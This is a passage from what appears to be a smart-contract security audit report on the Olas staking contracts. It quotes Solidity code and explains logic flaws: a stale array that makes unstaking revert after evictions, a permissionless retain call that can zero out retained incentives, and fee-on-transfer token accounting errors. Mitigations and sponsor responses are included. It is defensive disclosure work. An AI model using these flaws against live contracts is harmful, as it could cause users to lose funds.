    uint256[] memory serviceInactivity) =
_calculateStakingRewards();

    // Get arrays for eligible service Ids and rewards of exact size
    uint256[] memory finalEligibleServiceIds;
    uint256[] memory finalEligibleServiceRewards;
    evictServiceIds = new uint256[](serviceIds.length);
    uint256 curServiceId;

    // If there are eligible services, proceed with staking
calculation and update rewards
    if (numServices > 0) {
        finalEligibleServiceIds = new uint256[](numServices);
        finalEligibleServiceRewards = new uint256[](numServices);
        // If total allocated rewards are not enough, adjust the
reward value
        if (totalRewards > lastAvailableRewards) {
            // Traverse all the eligible services and adjust their
rewards proportional to leftovers
            uint256 updatedReward;
            uint256 updatedTotalRewards;
            for (uint256 i = 1; i < numServices; ++i) {
                // Calculate the updated reward
                updatedReward = (eligibleServiceRewards[i] *
lastAvailableRewards) / totalRewards;
                // Add to the total updated reward
                updatedTotalRewards += updatedReward;
                // Add reward to the overall service reward
                curServiceId = eligibleServiceIds[i];
                finalEligibleServiceIds[i] = eligibleServiceIds[i];
                finalEligibleServiceRewards[i] = updatedReward;
            }
        }
    }
}

```

```

        mapServiceInfo[curServiceId].reward += updatedReward;
    }

    // Process the first service in the set
    updatedReward = (eligibleServiceRewards[0] *
lastAvailableRewards) / totalRewards;
    updatedTotalRewards += updatedReward;
    curServiceId = eligibleServiceIds[0];
    finalEligibleServiceIds[0] = eligibleServiceIds[0];
    // If the reward adjustment happened to have small
leftovers, add it to the first service
    if (lastAvailableRewards > updatedTotalRewards) {
        updatedReward += lastAvailableRewards -
updatedTotalRewards;
    }
    finalEligibleServiceRewards[0] = updatedReward;
    // Add reward to the overall service reward
    mapServiceInfo[curServiceId].reward += updatedReward;
    // Set available rewards to zero
    lastAvailableRewards = 0;
} else {
    // Traverse all the eligible services and add to their
rewards
    for (uint256 i = 0; i < numServices; ++i) {
        // Add reward to the service overall reward
        curServiceId = eligibleServiceIds[i];
        finalEligibleServiceIds[i] = eligibleServiceIds[i];
        finalEligibleServiceRewards[i] =
eligibleServiceRewards[i];
        mapServiceInfo[curServiceId].reward +=
eligibleServiceRewards[i];
    }

    // Adjust available rewards
    lastAvailableRewards -= totalRewards;
}

// Update the storage value of available rewards
availableRewards = lastAvailableRewards;
}

// If service Ids are returned, then the checkpoint takes place
if (serviceIds.length > 0) {
    uint256 eCounter = epochCounter;
    numServices = 0;

```

```

        // Record service inactivities and updated current service
        nonces
        for (uint256 i = 0; i < serviceIds.length; ++i) {
            // Get the current service Id
            curServiceId = serviceIds[i];
            // Record service nonces
            mapServiceInfo[curServiceId].nonces = serviceNonces[i];

            // Increase service inactivity if it is greater than zero
            if (serviceInactivity[i] > 0) {
                // Get the overall continuous service inactivity
                serviceInactivity[i] =
mapServiceInfo[curServiceId].inactivity + serviceInactivity[i];
                mapServiceInfo[curServiceId].inactivity =
serviceInactivity[i];
                // Check for the maximum allowed inactivity time
                if (serviceInactivity[i] > maxInactivityDuration) {
                    // Evict a service if it has been inactive for
more than a maximum allowed inactivity time
                    evictServiceIds[i] = curServiceId;
                    // Increase number of evicted services
                    numServices++;
                } else {
                    emit ServiceInactivityWarning(eCounter,
curServiceId, serviceInactivity[i]);
                }
            } else {
                // Otherwise, set it back to zero
                mapServiceInfo[curServiceId].inactivity = 0;
            }
        }

        // Evict inactive services
        if (numServices > 0) {
            _evict(evictServiceIds, serviceInactivity, numServices);
        }

        // Record the actual epoch length
        uint256 epochLength = block.timestamp - tsCheckpoint;
        // Record the current timestamp such that next calculations
start from this point of time
        tsCheckpoint = block.timestamp;

        // Increase the epoch counter
        epochCounter = eCounter + 1;

```

```

        emit Checkpoint(eCounter, lastAvailableRewards,
finalEligibleServiceIds, finalEligibleServiceRewards,
                        epochLength);
    }

    return (serviceIds, serviceNonces, finalEligibleServiceIds,
finalEligibleServiceRewards, evictServiceIds);
}

```

From the following lines, we can see that serviceIds is retrieved from _calculateStakingRewards.

```

// Calculate staking rewards
(uint256 lastAvailableRewards, uint256 numServices, uint256
totalRewards,
    uint256[] memory eligibleServiceIds, uint256[] memory
eligibleServiceRewards,
    ==>    uint256[] memory serviceIds, uint256[][] memory
serviceNonces,
    uint256[] memory serviceInactivity) =
_calculateStakingRewards();

```

The _calculateStakingRewards function is as follows:

```

function _calculateStakingRewards() internal view returns (
    uint256 lastAvailableRewards,
    uint256 numServices,
    uint256 totalRewards,
    uint256[] memory eligibleServiceIds,
    uint256[] memory eligibleServiceRewards,
    uint256[] memory serviceIds,
    uint256[][] memory serviceNonces,
    uint256[] memory serviceInactivity
)
{
    // Check the last checkpoint timestamp and the liveness period,
also check for available rewards to be not zero
    uint256 tsCheckpointLast = tsCheckpoint;
    lastAvailableRewards = availableRewards;
    if (block.timestamp - tsCheckpointLast >= livenessPeriod &&
lastAvailableRewards > 0) {
        // Get the service Ids set length
        uint256 size = setServiceIds.length;
    }
}

```

```

// Get necessary arrays
serviceIds = new uint256[](size);
eligibleServiceIds = new uint256[](size);
eligibleServiceRewards = new uint256[](size);
serviceNonces = new uint256[][](size);
serviceInactivity = new uint256[](size);

// Calculate each staked service reward eligibility
for (uint256 i = 0; i < size; ++i) {
    // Get current service Id
    serviceIds[i] = setServiceIds[i];

    // Get the service info
    ServiceInfo storage sInfo =
mapServiceInfo[serviceIds[i]];

    // Calculate the liveness nonce ratio
    // Get the last service checkpoint: staking start time or
the global checkpoint timestamp
    uint256 serviceCheckpoint = tsCheckpointLast;
    uint256 ts = sInfo.tsStart;
    // Adjust the service checkpoint time if the service was
staking less than the current staking period
    if (ts > serviceCheckpoint) {
        serviceCheckpoint = ts;
    }

    // Calculate the liveness ratio in 1e18 value
    // This subtraction is always positive or zero, as the
last checkpoint is at most block.timestamp
    ts = block.timestamp - serviceCheckpoint;

    bool ratioPass;
    (ratioPass, serviceNonces[i]) =
_checkRatioPass(sInfo.multisig, sInfo.nonces, ts);

    // Record the reward for the service if it has provided
enough transactions
    if (ratioPass) {
        // Calculate the reward up until now and record its
value for the corresponding service
        eligibleServiceRewards[numServices] =
rewardsPerSecond * ts;
        totalRewards += eligibleServiceRewards[numServices];
        eligibleServiceIds[numServices] = serviceIds[i];
        ++numServices;
    }
}

```

```

        } else {
            serviceInactivity[i] = ts;
        }
    }
}

```

Now if the following check passes i.e., if enough time has passed for new epoch to occur, if (`block.timestamp - tsCheckpointLast >= livenessPeriod` and `lastAvailableRewards > 0`), then as initially as we assumed that the length of `setServiceIds.length = 10`; therefore, `serviceIds` length is equal to 10 as can be seen from the following line:

```

// Get necessary arrays
serviceIds = new uint256[](size);

```

As we can see from the above, function `serviceIds` array is just a copy of global `setServiceIds` array.

```

serviceIds[i] = setServiceIds[i];

```

Note if the liveness ratio doesn't pass, then the `serviceInactivity` of the service id is increased as can be seen from the above function.

```

        if (ratioPass) {
            // Calculate the reward up until now and record its
            value for the corresponding service
            eligibleServiceRewards[numServices] =
rewardsPerSecond * ts;
            totalRewards += eligibleServiceRewards[numServices];
            eligibleServiceIds[numServices] = serviceIds[i];
            ++numServices;
        } else {
            serviceInactivity[i] = ts;
        }
    }
}

```

Now, let's go back to the checkpoint function, until now `serviceIds` is just the copy of global `setServiceIds` array. so `setServiceIds` and `serviceIds` contain same elements and thus, are exact copies.

Let's focus on the following lines of code:

```

if (serviceIds.length > 0) {
    uint256 eCounter = epochCounter;
    numServices = 0;
    // Record service inactivities and updated current service
    nonces
    for (uint256 i = 0; i < serviceIds.length; ++i) {
        // Get the current service Id
        curServiceId = serviceIds[i];
        // Record service nonces
        mapServiceInfo[curServiceId].nonces = serviceNonces[i];

        // Increase service inactivity if it is greater than zero
        if (serviceInactivity[i] > 0) {
            // Get the overall continuous service inactivity
            serviceInactivity[i] =
mapServiceInfo[curServiceId].inactivity + serviceInactivity[i];
            mapServiceInfo[curServiceId].inactivity =
serviceInactivity[i];
            // Check for the maximum allowed inactivity time
            if (serviceInactivity[i] > maxInactivityDuration) {
                // Evict a service if it has been inactive for
more than a maximum allowed inactivity time
                evictServiceIds[i] = curServiceId;
                // Increase number of evicted services
                numServices++;
            } else {
                emit ServiceInactivityWarning(eCounter,
curServiceId, serviceInactivity[i]);
            }
        } else {
            // Otherwise, set it back to zero
            mapServiceInfo[curServiceId].inactivity = 0;
        }
    }
}

```

Now from above, we can clearly see that if for some service ids if they have exceeded the max inactivity period then that service id is added to the evictServiceIds array and accordingly numServices which are needed to be evicted are increased.

Now, suppose some ids are needed to be evicted, i.e., numServices > 0 thus, _evict function is called as follows:

```

// Evict inactive services
if (numServices > 0) {

```

```

        _evict(evictServiceIds, serviceInactivity, numServices);
    }

```

Lets see the `_evict` function:

```

function _evict(
    uint256[] memory evictServiceIds,
    uint256[] memory serviceInactivity,
    uint256 numEvictServices
) internal {
    // Get the total number of staked services
    // All the passed arrays have the length of the number of staked
    services
    uint256 totalNumServices = evictServiceIds.length;

    // Get arrays of exact sizes
    uint256[] memory serviceIds = new uint256[](numEvictServices);
    address[] memory owners = new address[](numEvictServices);
    address[] memory multisigs = new address[](numEvictServices);
    uint256[] memory inactivity = new uint256[](numEvictServices);
    uint256[] memory serviceIndexes = new uint256[]
    (numEvictServices);

    // Fill in arrays
    uint256 sCounter;
    uint256 serviceId;
    for (uint256 i = 0; i < totalNumServices; ++i) {
        if (evictServiceIds[i] > 0) {
            serviceId = evictServiceIds[i];
            serviceIds[sCounter] = serviceId;

            ServiceInfo storage sInfo = mapServiceInfo[serviceId];
            owners[sCounter] = sInfo.owner;
            multisigs[sCounter] = sInfo.multisig;
            inactivity[sCounter] = serviceInactivity[i];
            serviceIndexes[sCounter] = i;
            sCounter++;
        }
    }

    // Evict services from the global set of staked services
    for (uint256 i = numEvictServices; i > 0; --i) {
        // Decrease the number of services
        totalNumServices--;
        // Get the evicted service index

```



```

        uint256 idx = serviceIndexes[i - 1];
        // Assign last service Id to the index that points to the
evicted service Id
        setServiceIds[idx] = setServiceIds[totalNumServices];
        // Pop the last element
        setServiceIds.pop();
    }

    emit ServicesEvicted(epochCounter, serviceIds, owners, multisigs,
inactivity);
}

```

Key thing note in the `evict` function is that it modifies the `setServiceIds` global array. Essentially, it shrinks the array as it removes the evicted services ids as can be seen from the following lines of code:

```

for (uint256 i = numEvictServices; i > 0; --i) {
    // Decrease the number of services
    totalNumServices--;
    // Get the evicted service index
    uint256 idx = serviceIndexes[i - 1];
    // Assign last service Id to the index that points to the
evicted service Id
    setServiceIds[idx] = setServiceIds[totalNumServices];
    // Pop the last element
    setServiceIds.pop(); <===== shrinkage of setServiceIds array
}

```

Now, the `serviceIds` array and the global `setServiceIds` array are not same. Neither the index of service ids is same nor the size of both the arrays because there is removal of at least 1 service id because the `_evict` function was called in the checkpoint function.

Now, the following variables are returned by the checkpoint function:

```

return (serviceIds, serviceNonces, finalEligibleServiceIds,
finalEligibleServiceRewards, evictServiceIds);

```

Note that the it returns the `serviceIds` array which is not updated to the global `setServiceIds` array and thus, contains more elements than the `setServiceIds` array.

Now, lets go back to the `unstake` function. The following loop is run in order to check if the service id to be removed is already evicted or is still present in the global `setServiceIds` array:

```

uint256 idx;
bool inSet;
for (; idx < serviceIds.length; ++idx) {
    // Service is still in a global staking set if it is found in
the services set,
    // and is not present in the evicted set
    if (evictServiceIds[idx] == serviceId) {
        break;
    } else if (serviceIds[idx] == serviceId) {
        inSet = true;
        break;
    }
}
}

```

If the service id to be removed is not evicted then it will be present in the global service ids array but as can be seen from the above. The old outdated/stale serviceIds array is used to identify the index of the service id to be evicted.

Here is where the issue arises because the index of service id can be different in old/outdated serviceIds array and global setServiceIds array because of eviction of some service ids.

For example:

Initially setServiceIds and serviceIds were exact copy of each other and had 10 service ids i.e., size of both the arrays was same.

Now, suppose service id at index 3 was removed:

- setServiceIds has length 9 and serviceIds has length 10.
- The service id which was at earlier at index 9 in setServiceIds global array is now at index 3 because of how eviction is done using pop functionality.
- Whereas service id which was earlier at index 9 remains at the same index in service ids array as it is outdated.

Now suppose the owner of service id which is at index 9 in the outdated service and at index 3 in the global array. After eviction wants to unstake the service id, it would revert because the above loop will return the index 9 so then the following code will be executed.

```

if (inSet) {
    setServiceIds[idx] = setServiceIds[setServiceIds.length - 1];
    setServiceIds.pop();
}

```

However, the above code will revert because of out of bound error because the above code essentially does the following:

```
setServiceIds[9] = setServiceIds[9-1] = setServiceIds[8]
```

Note that there could be more than one ids evicted so then also unstaking of service ids at the second last index would revert.

Recommended Mitigation Steps

Make the following change in the checkpoint function where the eviction condition is checked:

```
// Evict inactive services
    if (numServices > 0) {
        _evict(evictServiceIds, serviceInactivity, numServices);
        serviceIds = getServiceIds();
    }
```

Assessed type

Context

[kupermind \(Olas\) confirmed and commented:](#)

Good catch. However, we are going to modify in a different place, removing lines 826-829 and leaving line 827, checking that `evictServiceIds.length > 0`, otherwise we can reuse `serviceIds` array.

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[\[M-07\] In `retain` function, `checkpoint` nominee function is not called which can cause zero amount of tokens being retained](#)

Submitted by [Varun_05](#)

<https://github.com/code-42n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/tokenomics/contracts/Dispenser.sol#L1129>

<https://github.com/code-42n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/tokenomics/contracts/Dispenser.sol#L878>

Impact

In retain function before calculating the staking incentives which belongs to retainer for different epoches no checkpoint nominee function in vote weighing is called for retainer. Due to this retained staking, incentives may be lost and they won't be recovered ever. Marking this as high because likelihood of happening is high and impact is medium and direct loss of retained incentives.

Proof of Concept

Following is the retain function:

```
function retain() external {
    // Reentrancy guard
    if (_locked > 1) {
        revert ReentrancyGuard();
    }
    _locked = 2;

    // Get first and last claimed epochs
    (uint256 firstClaimedEpoch, uint256 lastClaimedEpoch) =
        _checkpointNomineeAndGetClaimedEpochCounters(retainerHash,
maxNumClaimingEpochs);

    // Write last claimed epoch counter to start retaining from the
next time
    mapLastClaimedStakingEpochs[retainerHash] = lastClaimedEpoch;

    uint256 totalReturnAmount;

    // Go over epochs and retain funds to return back to the
tokenomics
    for (uint256 j = firstClaimedEpoch; j < lastClaimedEpoch; ++j) {
        // Get service staking info
        ITokenomics.StakingPoint memory stakingPoint =
ITokenomics(tokenomics).mapEpochStakingPoints(j);

        // Get epoch end time
        uint256 endTime = ITokenomics(tokenomics).getEpochEndTime(j);

        // Get the staking weight for each epoch
        (uint256 stakingWeight, ) =
IVoteWeighting(voteWeighting).nomineeRelativeWeight(retainer,
            block.chainid, endTime);

        totalReturnAmount += stakingPoint.stakingIncentive *
stakingWeight;
    }
}
```

```

    }
    totalReturnAmount /= 1e18;

    if (totalReturnAmount > 0) {
        ITokenomics(tokenomics).refundFromStaking(totalReturnAmount);
    }

    emit Retained(msg.sender, totalReturnAmount);

    _locked = 1;
}

```

As can be seen from above, if the weight of retainer is not updated then the following `stakingPoint.stakingIncentive * stakingWeight` will return zero; thus, no incentives will be retained for that epoch even when there is staking weight left for that epoch for retainer. As this function is permissionless and external, anyone can call this and thus, can prevent the retention of staking incentives for some epoches before there is updation of weights of the retainer.

Once this function is executed for a particular epoch it can never be executed for that epoch because of the following set value:

```

// Write last claimed epoch counter to start retaining from the next time
mapLastClaimedStakingEpochs[retainerHash] = lastClaimedEpoch;

```

We can also see in the `calculateStakingIncentives` function that in order to prevent the above error, weights of nominee is updated up to the latest time; i.e., the current `block.timestamp`, as can be seen from the following line of code:

```

// Checkpoint staking target nominee in the Vote Weighting contract
IVoteWeighting(voteWeighting).checkpointNominee(stakingTarget,
chainId);

```

```

function calculateStakingIncentives(
    uint256 numClaimedEpochs,
    uint256 chainId,
    bytes32 stakingTarget,
    uint256 bridgingDecimals
) public returns (
    uint256 totalStakingIncentive,
    uint256 totalReturnAmount,
    uint256 lastClaimedEpoch,

```

```

        bytes32 nomineeHash
    ) {
        // Check for the correct chain Id
        if (chainId == 0) {
            revert ZeroValue();
        }

        // Check for the zero address
        if (stakingTarget == 0) {
            revert ZeroAddress();
        }

        // Get the staking target nominee hash
        nomineeHash =
            keccak256(abi.encode(IVoteWeighting.Nominee(stakingTarget, chainId)));

        uint256 firstClaimedEpoch;
        (firstClaimedEpoch, lastClaimedEpoch) =
            _checkpointNomineeAndGetClaimedEpochCounters(nomineeHash,
numClaimedEpochs);

        // Checkpoint staking target nominee in the Vote Weighting
contract
===>
IVoteWeighting(voteWeighting).checkpointNominee(stakingTarget, chainId);

        // Traverse all the claimed epochs
        for (uint256 j = firstClaimedEpoch; j < lastClaimedEpoch; ++j) {
            // Get service staking info
            ITokenomics.StakingPoint memory stakingPoint =
                ITokenomics(tokenomics).mapEpochStakingPoints(j);

            uint256 endTime = ITokenomics(tokenomics).getEpochEndTime(j);

            // Get the staking weight for each epoch and the total weight
            // Epoch endTime is used to get the weights info, since
otherwise there is a risk of having votes
            // accounted for from the next epoch
            // totalWeightSum is the overall veOLAS power (bias) across
all the voting nominees
            (uint256 stakingWeight, uint256 totalWeightSum) =

IVoteWeighting(voteWeighting).nomineeRelativeWeight(stakingTarget,
chainId, endTime);

            uint256 stakingIncentive;

```

```

        uint256 returnAmount;

        // Adjust the inflation by the maximum amount of veOLAS voted
        for service staking contracts
        // If veOLAS power is lower, it reflects the maximum amount
        of OLAS allocated for staking
        // such that all the inflation is not distributed for a
        minimal veOLAS power
        uint256 availableStakingAmount =
        stakingPoint.stakingIncentive;

        uint256 stakingDiff;
        if (availableStakingAmount > totalWeightSum) {
            stakingDiff = availableStakingAmount - totalWeightSum;
            availableStakingAmount = totalWeightSum;
        }

        // Compare the staking weight
        // 100% = 1e18, in order to compare with minStakingWeight we
        need to bring it from the range of 0 .. 10_000
        if (stakingWeight < uint256(stakingPoint.minStakingWeight) *
        1e14) {
            // If vote weighting staking weight is lower than the
            defined threshold - return the staking incentive
            returnAmount = ((stakingDiff + availableStakingAmount) *
            stakingWeight) / 1e18;
        } else {
            // Otherwise, allocate staking incentive to corresponding
            contracts
            stakingIncentive = (availableStakingAmount *
            stakingWeight) / 1e18;
            // Calculate initial return amount, if stakingDiff > 0
            returnAmount = (stakingDiff * stakingWeight) / 1e18;

            // availableStakingAmount is not used anymore and can
            serve as a local maxStakingAmount
            availableStakingAmount = stakingPoint.maxStakingAmount;
            if (stakingIncentive > availableStakingAmount) {
                // Adjust the return amount
                returnAmount += stakingIncentive -
            availableStakingAmount;
                // Adjust the staking incentive
                stakingIncentive = availableStakingAmount;
            }
        }
    }

```

```

        // Normalize staking incentive if there is a bridge
        decimals limiting condition
        // Note: only OLAS decimals must be considered
        if (bridgingDecimals < 18) {
            uint256 normalizedStakingAmount = stakingIncentive /
(10 ** (18 - bridgingDecimals));
            normalizedStakingAmount *= 10 ** (18 -
bridgingDecimals);
            // Update return amounts
            // stakingIncentive is always bigger or equal than
normalizedStakingAmount
            returnAmount += stakingIncentive -
normalizedStakingAmount;
            // Downsize staking incentive to a specified number
of bridging decimals
            stakingIncentive = normalizedStakingAmount;
        }
        // Adjust total staking incentive amount
        totalStakingIncentive += stakingIncentive;
    }
    // Adjust total return amount
    totalReturnAmount += returnAmount;
}
}

```

Recommended Mitigation Steps

Mitigation is simple just call the checkpoint nominee function with input as retainer before calculating the incentives.

Assessed type

Context

[kupermind \(Olas\) confirmed](#)

[0xA5DF \(judge\) decreased severity to Medium and commented:](#)

Severity is medium since this isn't a classic loss of funds, this just means that less OLAS could be minted.

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[M-08] StakingToken.sol doesn't properly handle FOT, rebasing tokens or those with variable which will lead to accounting issues downstream

Submitted by [ZanyBonzy](#), also found by [anticlOck](#), [MSaptarshi](#), [biakia](#), [JanuaryPersimmon2024](#), [OxBugSlayer](#), [rbserver \(1, 2\)](#), [ArsenLupin](#), [EV_om \(1, 2\)](#), and [yotov721](#)

<https://github.com/code-423n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/registries/contracts/staking/StakingToken.sol#L125>

<https://github.com/code-423n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/registries/contracts/staking/StakingToken.sol#L108>

Impact

The protocol aims to work with all sorts of ERC20 tokens including tokens that charge a fee on transfer including PAXG. Deposits and withdrawals of these tokens when being used as staking tokens in StakingToken.sol are not properly handled which can cause a number of accounting issues; most especially transfer of the losses due to fees to the last unstaker or reward claimer.

The same effect, although to a less degree, can be observed with tokens like stETH which has the [1 wei corner case issue](#) in which the token amount transferred can be a bit less than the amount entered in. This also includes other rebasing tokens and tokens with variable balances or airdrops, as the direction of rebasing can lead to the same effect as FOT tokens; with token amounts being less than internal accounting suggests. The same as extra tokens from positive rebasing and airdrops being lost due it also not matching internal accounting and no other way to claim these tokens.

Proof of Concept

From the readme,

ERC20 token behaviors - In scope

Fee on transfer - Yes

Balance changes outside of transfers - Yes

Looking at StakingToken.sol, we can see that the amount of the stakingToken is directly transferred as is and is also recorded into the contract's balance and availableRewards. Now if stakingToken is a token like PAXG that charges a fee on transfer, the actual amount transferred from msg.sender upon deposit will be different from amount received by StakingToken.sol and recorded into the balance/availableRewards. Here, there becomes a mismatch between the contract's accounting and the contract's actual balance.

```

function deposit(uint256 amount) external {
    // Add to the contract and available rewards balances
    uint256 newBalance = balance + amount;
    uint256 newAvailableRewards = availableRewards + amount;

    // Record the new actual balance and available rewards
    balance = newBalance;
    availableRewards = newAvailableRewards;

    // Add to the overall balance
    SafeTransferLib.safeTransferFrom(stakingToken, msg.sender,
address(this), amount);

    emit Deposit(msg.sender, amount, newBalance,
newAvailableRewards);
}

```

The same can be seen in `_withdraw` which is called when a user [claims](#) or [unstakes](#). The amount the user receives will be less than he expects while the wrong amount is emitted to him.

```

function _withdraw(address to, uint256 amount) internal override {
    // Update the contract balance
    balance -= amount;

    SafeTransferLib.safeTransfer(stakingToken, to, amount);

    emit Withdraw(to, amount);
}

```

The ultimate effect will be seen during user claims and unstake in which a point will be reached where the `stakingToken` balance in the contract will be zero, while the internal accounting still registers that there are still rewards available for users to claim.

In an attempt to rescue the situation, the protocol will incur extra costs in sending tokens to the `StakingToken` contract address to momentarily balance out the token balance and the internal amount tracking. This same effect can be observed in rebasing tokens when they rebase negatively or during the 1 wei corner case, as the actual available balance is less than accounting balance. Funds will also be lost if the contract incurs extra airdrops from the `stakingToken` or it positively rebases.

Recommended Mitigation Steps

Query token balance before and after transfers or disable support for these token types. A `skim` function can also be introduced to remove any excess tokens from positive rebases.

Assessed type

Token-Transfer

[kupermind \(Olas\) disputed and commented:](#)

The information in README is clearly incorrect and happens to be out of sync with the code. We don't handle these token behaviors.

[0xA5DF \(judge\) commented:](#)

Out of fairness to wardens we'll have to follow the README here, I'm gonna sustain the medium severity for this one.

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed, updated the readme.

[\[M-09\] Removed nominee doesn't receive staking incentives for the epoch in which they were removed which is against the intended behaviour](#)

Submitted by [Varun_05](#)

<https://github.com/code-423n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/tokenomics/contracts/Dispenser.sol#L393>

<https://github.com/code-423n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/tokenomics/contracts/Dispenser.sol#L849>

Impact

If a nominee is removed in the ith epoch then they are eligible to receive staking incentives for the ith epoch if they had enough staking weight. However, due to current implementation the removed nominee would never receive staking incentives for the ith epoch thus causing loss of staking incentives for the nominee. It is evident from the code that it is intended that the nominee is eligible to receive staking incentives for the epoch when it was removed. Plus, I have also asked from the sponsors and they have agreed too that nominee is eligible to receive incentives for that epoch.

Proof of Concept

Following is calculateStaking incentives function:

```
function calculateStakingIncentives(
    uint256 numClaimedEpochs,
    uint256 chainId,
    bytes32 stakingTarget,
    uint256 bridgingDecimals
) public returns (
    uint256 totalStakingIncentive,
    uint256 totalReturnAmount,
    uint256 lastClaimedEpoch,
    bytes32 nomineeHash
) {
    // Check for the correct chain Id
    if (chainId == 0) {
        revert ZeroValue();
    }

    // Check for the zero address
    if (stakingTarget == 0) {
        revert ZeroAddress();
    }

    // Get the staking target nominee hash
    nomineeHash =
    keccak256(abi.encode(IVoteWeighting.Nominee(stakingTarget, chainId)));

    uint256 firstClaimedEpoch;
    (firstClaimedEpoch, lastClaimedEpoch) =
    _checkpointNomineeAndGetClaimedEpochCounters(nomineeHash,
    numClaimedEpochs);

    // Checkpoint staking target nominee in the Vote Weighting
    contract
    IVoteWeighting(voteWeighting).checkpointNominee(stakingTarget,
    chainId);

    // Traverse all the claimed epochs
    for (uint256 j = firstClaimedEpoch; j < lastClaimedEpoch; ++j) {
        // Get service staking info
        ITokenomics.StakingPoint memory stakingPoint =
            ITokenomics(tokenomics).mapEpochStakingPoints(j);

        uint256 endTime = ITokenomics(tokenomics).getEpochEndTime(j);

        // Get the staking weight for each epoch and the total weight
```

```

        // Epoch endTime is used to get the weights info, since
        otherwise there is a risk of having votes
        // accounted for from the next epoch
        // totalWeightSum is the overall veOLAS power (bias) across
        all the voting nominees
        (uint256 stakingWeight, uint256 totalWeightSum) =

IVoteWeighting(voteWeighting).nomineeRelativeWeight(stakingTarget,
chainId, endTime);

        uint256 stakingIncentive;
        uint256 returnAmount;

        // Adjust the inflation by the maximum amount of veOLAS voted
        for service staking contracts
        // If veOLAS power is lower, it reflects the maximum amount
        of OLAS allocated for staking
        // such that all the inflation is not distributed for a
        minimal veOLAS power
        uint256 availableStakingAmount =
        stakingPoint.stakingIncentive;

        uint256 stakingDiff;
        if (availableStakingAmount > totalWeightSum) {
            stakingDiff = availableStakingAmount - totalWeightSum;
            availableStakingAmount = totalWeightSum;
        }

        // Compare the staking weight
        // 100% = 1e18, in order to compare with minStakingWeight we
        need to bring it from the range of 0 .. 10_000
        if (stakingWeight < uint256(stakingPoint.minStakingWeight) *
1e14) {
            // If vote weighting staking weight is lower than the
            defined threshold - return the staking incentive
            returnAmount = ((stakingDiff + availableStakingAmount) *
stakingWeight) / 1e18;
        } else {
            // Otherwise, allocate staking incentive to corresponding
            contracts
            stakingIncentive = (availableStakingAmount *
stakingWeight) / 1e18;
            // Calculate initial return amount, if stakingDiff > 0
            returnAmount = (stakingDiff * stakingWeight) / 1e18;

```

```

        // availableStakingAmount is not used anymore and can
        serve as a local maxStakingAmount
        availableStakingAmount = stakingPoint.maxStakingAmount;
        if (stakingIncentive > availableStakingAmount) {
            // Adjust the return amount
            returnAmount += stakingIncentive -
availableStakingAmount;
            // Adjust the staking incentive
            stakingIncentive = availableStakingAmount;
        }

        // Normalize staking incentive if there is a bridge
        decimals limiting condition
        // Note: only OLAS decimals must be considered
        if (bridgingDecimals < 18) {
            uint256 normalizedStakingAmount = stakingIncentive /
(10 ** (18 - bridgingDecimals));
            normalizedStakingAmount *= 10 ** (18 -
bridgingDecimals);
            // Update return amounts
            // stakingIncentive is always bigger or equal than
normalizedStakingAmount
            returnAmount += stakingIncentive -
normalizedStakingAmount;
            // Downsize staking incentive to a specified number
of bridging decimals
            stakingIncentive = normalizedStakingAmount;
        }
        // Adjust total staking incentive amount
        totalStakingIncentive += stakingIncentive;
    }
    // Adjust total return amount
    totalReturnAmount += returnAmount;
}
}

```

From the above for loop it is visible that the staking incentives are calculated until `lastClaimedEpoch-1`.

```

for (uint256 j = firstClaimedEpoch; j < lastClaimedEpoch; ++j) {

```

Following function is used to check for which epoches is the nominee eligible to receive the staking incentives:

```
(firstClaimedEpoch, lastClaimedEpoch) =
    _checkpointNomineeAndGetClaimedEpochCounters(nomineeHash,
numClaimedEpochs);
```

```
function _checkpointNomineeAndGetClaimedEpochCounters(
    bytes32 nomineeHash,
    uint256 numClaimedEpochs
) internal view returns (uint256 firstClaimedEpoch, uint256
lastClaimedEpoch) {
    // Get the current epoch number
    uint256 eCounter = ITokenomics(tokenomics).epochCounter();

    // Get the first claimed epoch, which is equal to the last
    claiming one
    firstClaimedEpoch = mapLastClaimedStakingEpochs[nomineeHash];

    // This must never happen as the nominee gets enabled when added
    to Vote Weighting
    // This is only possible if the dispenser has been unset in Vote
    Weighting for some time
    // In that case the check is correct and those nominees must not
    be considered
    if (firstClaimedEpoch == 0) {
        revert ZeroValue();
    }

    // Must not claim in the ongoing epoch
    if (firstClaimedEpoch == eCounter) {
        // Epoch counter is never equal to zero
        revert Overflow(firstClaimedEpoch, eCounter - 1);
    }

    // We still need to claim for the epoch number following the one
    when the nominee was removed
    uint256 epochAfterRemoved = mapRemovedNomineeEpochs[nomineeHash]
+ 1;
    // If the nominee is not removed, its value in the map is always
    zero, unless removed
    // The staking contract nominee cannot be removed in the zero-th
    epoch by default
    if (epochAfterRemoved > 1 && firstClaimedEpoch >=
epochAfterRemoved) {
        revert Overflow(firstClaimedEpoch, epochAfterRemoved - 1);
    }
}
```

```

        // Get a number of epochs to claim for based on the maximum
number of epochs claimed
        lastClaimedEpoch = firstClaimedEpoch + numClaimedEpochs;

        // Limit last claimed epoch by the number following the nominee
removal epoch
        // The condition for is lastClaimedEpoch strictly > because the
lastClaimedEpoch is not included in claiming
        if (epochAfterRemoved > 1 && lastClaimedEpoch >
epochAfterRemoved) {
            lastClaimedEpoch = epochAfterRemoved;
        }

        // Also limit by the current counter, if the nominee was removed
in the current epoch
        if (lastClaimedEpoch > eCounter) {
            lastClaimedEpoch = eCounter;
        }
    }
}

```

From the following if condition, it is clear that nominee is also eligible to receive staking incentives for the epoch in which it was removed:

```

if (epochAfterRemoved > 1 && lastClaimedEpoch > epochAfterRemoved) {
    lastClaimedEpoch = epochAfterRemoved;
}

```

As initially for loop ran until lastClaimedEpoch-1, it is evident that removed nominee is eligible for the staking incentives in which it was removed too.

Now lets see what happens when a nominee is removed. Firstly it is removed in VoteWeighting.sol in removeNominee function which is as follows:

```

function removeNominee(bytes32 account, uint256 chainId) external {
    // Check for the contract ownership
    if (msg.sender != owner) {
